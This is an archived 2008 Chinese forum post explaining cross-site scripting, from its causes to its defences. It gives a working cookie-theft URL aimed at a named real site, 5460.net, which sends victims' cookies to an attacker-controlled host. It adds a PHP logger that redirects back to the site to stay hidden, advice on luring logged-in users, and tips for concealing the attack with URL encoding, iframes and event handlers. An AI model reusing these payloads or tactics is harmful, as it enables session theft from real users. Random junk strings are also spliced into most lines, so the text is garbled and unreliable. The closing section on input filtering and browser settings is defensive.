我爱电脑技术论坛's Archiver

tianshiren 发表于 2008-6-3 10:55

跨站脚本执行漏洞详解

跨站脚本执行漏洞详解 o I0Z2j|}2[T
【漏洞成因】
)^(gCf(@?\ 原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。!^ WHM&Gr%w7F!{
【漏洞形式】$E#Ir h(L
这里所说的形式,实际上是指CGI输入的形式,主要分为两种:@;h+{N5f w9]0_ B
1.显示输入
7F xT ?O+|6c 2.隐式输入
"Z Qo:u6s |*p!e0c 其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。QxU!n [U0Shd
显示输入又可以分为两种:
aA4x#]E:vWF1P5w:q 1. 输入完成立刻输出结果
cX?QA _2{ @ 2. 输入完成先存储在文本文件或数据库中,然后再输出结果
L8t9G Vr0iI-V 注意:后者可能会让你的网站面目全非!:
+pVu x+w 而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。
0E:e~xR9?*U
]5`"f Ybob0bM 【漏洞危害】
ZB}"s$G5}~9{f8Z 大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。:LC1dMN S(ZF
1. 获取其他用户Cookie中的敏感数据Gq.xXH
2. 屏蔽页面特定信息
x&uI&wWhX^ 3. 伪造页面信息mXgnh;W:n
4. 拒绝服务攻击 k)|^g xv'I
5. 突破外网内网不同安全设置{d n#M`;g_C#q?
6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等ex&V#]-a3s
7. 其它
ft$?2K#S y.o 一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。:K ze4P-JHE

`GB+{ J3H 【利用方式】y`/j5b*\-Y"U
下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一个实验。
RB7f-[_w 为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。
&Y5bkb6wVOD7r6t%h 另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。
$PbER'L&y p8ce 好的,一切就绪,我们开始做实验!:)[hb&a6|!Qa$J;@ w
5XZ;} T };K
实验一:获取其他用户Cookie中的敏感信息O0SD lVU,].}
我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行:
/~f&R'n'{+z 1. 进入首页[url]http://www.5460.net/[/url]:z,p-k S\ O#K w
2. 输入用户名"<h1>",提交,发现服务器返回信息中包含了用户提交的"<h1>"。z8{'oH&v+S Wid
3. 分析抓包数据,得到实际请求:
d2w nC:t^&} N4p#L [url]http://www.5460.net/txl/login/login.pl?username=[/url]<h1>&passwd=&ok.x=28&ok.y=6b p^4gB LD
4. 构造一个提交,目标是能够显示用户Cookie信息:%Qr q6v:L ]dk`
[url]http://www.5460.net/txl/login/login.pl?username=[/url]<script>alert(documents.cookie)</script>&passwd=&ok.x=28&ok.y=6
'QcP"~H?9_ 5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
'd"z A)[)r!qi#d L k6S? [url]http://www.5460.net/txl/login/login.pl?username=[/url]<script>window.open("http://www.notfound.org/info.php?"%2Bdocuments.cookie)</script>&passwd=&ok.x=28&ok.y=6(R!G(y2cPH!N2o q
其中[url]http://www.notfound.org/info.php[/url]是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:X,Ux#V1CY
<?php
r/StH/DQ $info = getenv("QUERY_STRING");
P0g kI"z&\*Jp;tD if ($info) {E'F7rF0s7`Gi%ZZ
$fp = fopen("info.txt","a");6v+g8Ypc.w7T
fwrite($fp,$info."\n");h ?"B2q!WT8f%{z*u
fclose($fp);
5g,`%e!k|P }
;f,X!{O*? header("Location: [url]http://www.5460.net[/url]");
6J,wW;k_P3wh!x\ 注:"%2B"为"+"的URL编码,并且这里只能用"%2B",因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
yg%H4T-T%K n!EA*B s*?3X 6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
t6Q |-[ C9Vx(`,Dy 7. 后面要做什么就由你决定吧!
mZ,EpAb!q7WL
iIH2n.d|TL 实验二:屏蔽页面特定信息
-aW"V.L5[-NaY fVy 我们仍然以5460.net作为例子,下面是一个有问题的CGI程序:
KlS:xq7W [:O [url]http://www.5460.net/txl/liuyan/liuyanSql.pl[/url]Es\ jn \
该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你的名字,对吧?
5Vkz1{ @p 既然有了上面的种种条件,我们可以不妨作出下面的结论:
E'z ZtV m:p5ey 某个用户可以"屏蔽"其两次留言之间的所有留言!
(~NxWXdZ!~._ 当然,我们说的"屏蔽"不是"删除",用户的留言还是存在的,只不过由于HTML的特性,我们无法从页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是除了我们这些研究CGI安全的人来说,有多少人有事没事都看HTML源代码?U2\'E6f C/x
由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。
%SO MJe d 注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right? nJ8mQ Y8qd-n'o!A O
y|^q v [%M4|
实验三:伪造页面信息
,k%\Th6Y^ 如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而已。8r jq5y3Q

|"UG^rt#Q8_ 实验四:拒绝服务攻击
N A/h5XH'a8L 现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的javascript脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可以隐藏身份。8g AU3DU0\1Lik

2x$V f7x&M@ ji 实验五:突破外网内网不同安全设置
QoF} Bt1F&j 这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于Internet区域,可能你不允许javascript执行,而在Intranet区域,你就允许javascript执行。一般来说,前者的安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意javascript脚本对你进行攻击,但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet区域。
Y$_&S5bd#O 2Y"TF td
实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等(@/kP WX
由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧,前些时间的修改IE标题漏洞,错误MIME类型执行命令漏洞,还有多种多样的蠕虫,都是很好的例子。
'mYB$Df|heoO 更多的例子请参考下列链接:+|e n%x.b1CU3BEz
Internet Explorer Pop-Up OBJECT Tag Bug5i(\]T1D/H VQ
[url]http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html[/url]
rS7}c0^F$Ad"m Internet Explorer javascript Modeless Popup Local Denial of Service Vulnerability
t&C3kU2v g+Ipj [url]http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html[/url]
VR1?U9] MSIE6 can read local files
YU^PO&Do [url]http://www.xs4all.nl/~jkuperus/bug.htm[/url];I%ivZ%QO
MSIE may download and run progams automatically
.Y3E:ln.A"W [url]http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html[/url]nmFvs{,S
File extensions spoofable in MSIE download dialog&@#o)I*q4ouj7I;V
[url]http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html[/url]
.CH6]/bL8Re5`0N(n the other IE cookie stealing bug (MS01-055)
o-S0^ Fc&N [url]http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html[/url],?e{o,y*E&W X
Microsoft Security Bulletin MS01-055 O9X)q7^[4gY
[url]http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html[/url]$ka?5ar/z s}
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
fP^k*Y R|m [url]http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html[/url]
3tx*x#m)D.o8_,R2bB(w"j Incorrect MIME Header Can Cause IE to Execute E-mail Attachment6cH c7U^']@2DE
[url]http://www.kriptopolis.com/cua/eml.html[/url]
GjOvE Vz F"N|Y
跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。
:DB&?K'Ti%_ q Z|o w.L B
实验七:其它
9Gj+_NON RO 其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据,然后进行了输出处理。举个例子来说,支持SSI的服务器上的CGI程序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。当然,这是在服务端,而不是客户端执行。其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。
Yn0Q.eT%k6MB$SO k"~bLEI3[0n9`0I
【隐藏技巧】CF0FO2Ow&cz
出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书看吧。S;\ E`*mwV
1. URL编码
1V&mZ[ bzee,a5} 比较一下:,fg;sF4DV
[url]http://www.5460.net/txl/login/login.pl?username=[/url]<h1>&passwd=&ok.x=28&ok.y=6
f2@$v nMT6K [url]http://www.5460.net/txl/login/lo[/url] ... mp;ok.x=28&ok.y=6sR7ly)D|&k
你觉得哪个更有隐蔽性?!
5W-l:O cTt(n C4y
oL`UhRpE 2. 隐藏在其它对象之下
TF-^2\ ~/XX0|\)h 与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?
4e(T eA?/CN Jc1l tKA{&jZ:Q
3. 嵌入页面中se!K g|Dgu
让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。
I&o6y)]7K [ q
KfpKC zC$HC 4. 合理利用事件
KGD+h8c9l[ 合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本执行漏洞。
"xV VRh.s$m-eZ7| o0C x uoJ8^_7Q&S Nj
【注意事项】Zhg4};g"Y;?%U
一般情况下直接进行类似<script>alert(documents.cookie)</script>之类的攻击没有什么问题,但是有时CGI程序对用户的输入进行了一些处理,比如说包含在''或""之内,这时我们就需要使用一些小技巧来绕过这些限制。
Wx6[*S(o| 如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。
LPW;D|Q@"L,h &Vx7uS5M;J ~
【解决方法】
Q6R"c1}3rV$CY0z 要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:V C6KG:]r(N y1I_t
程序员:k^K6?W%j5f
1. 过滤或转换用户提交数据中的HTML代码RK'|9FDR [a2j
2. 限制用户提交数据的长度&Hcg)d+~,A}

)qq.t2w#ijK:|U 用户:
-t3O!f M"Qlw 1. 不要轻易访问别人给你的链接
Qk"]g|#vlS 2. 禁止浏览器运行javascript和ActiveX代码
'} wORC)C*x-hdlv Q0j8V7BI^
附:常见浏览器修改设置的位置为:
.hV)wJP&]5C Internet Explorer:
uxI!]B j(I+aL[ k 工具->Internet选项->安全->Internet->自定义级别
oA\"|-w/P)q 工具->Internet选项->安全->Intranet->自定义级别*k4\4?F&L xZ)ja
Opera:
:s1m8tOF}Z 文件->快速参数->允许使用Java
)hNs.jO{4{2iE 文件->快速参数->允许使用插件
;VO%K2ki;R`,W 文件->快速参数->允许使用javascriptf6?3q*t o;aa

6uQ9] e/WX 【常见问题】
/|snv wy'v Q:跨站脚本执行漏洞在哪里存在?&W3Q9| ~:h ?:T
A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。
Yr8M*g-Xo2@
.N3Ps `~\{C ` Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?
U8n&u*} C/DNn T A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.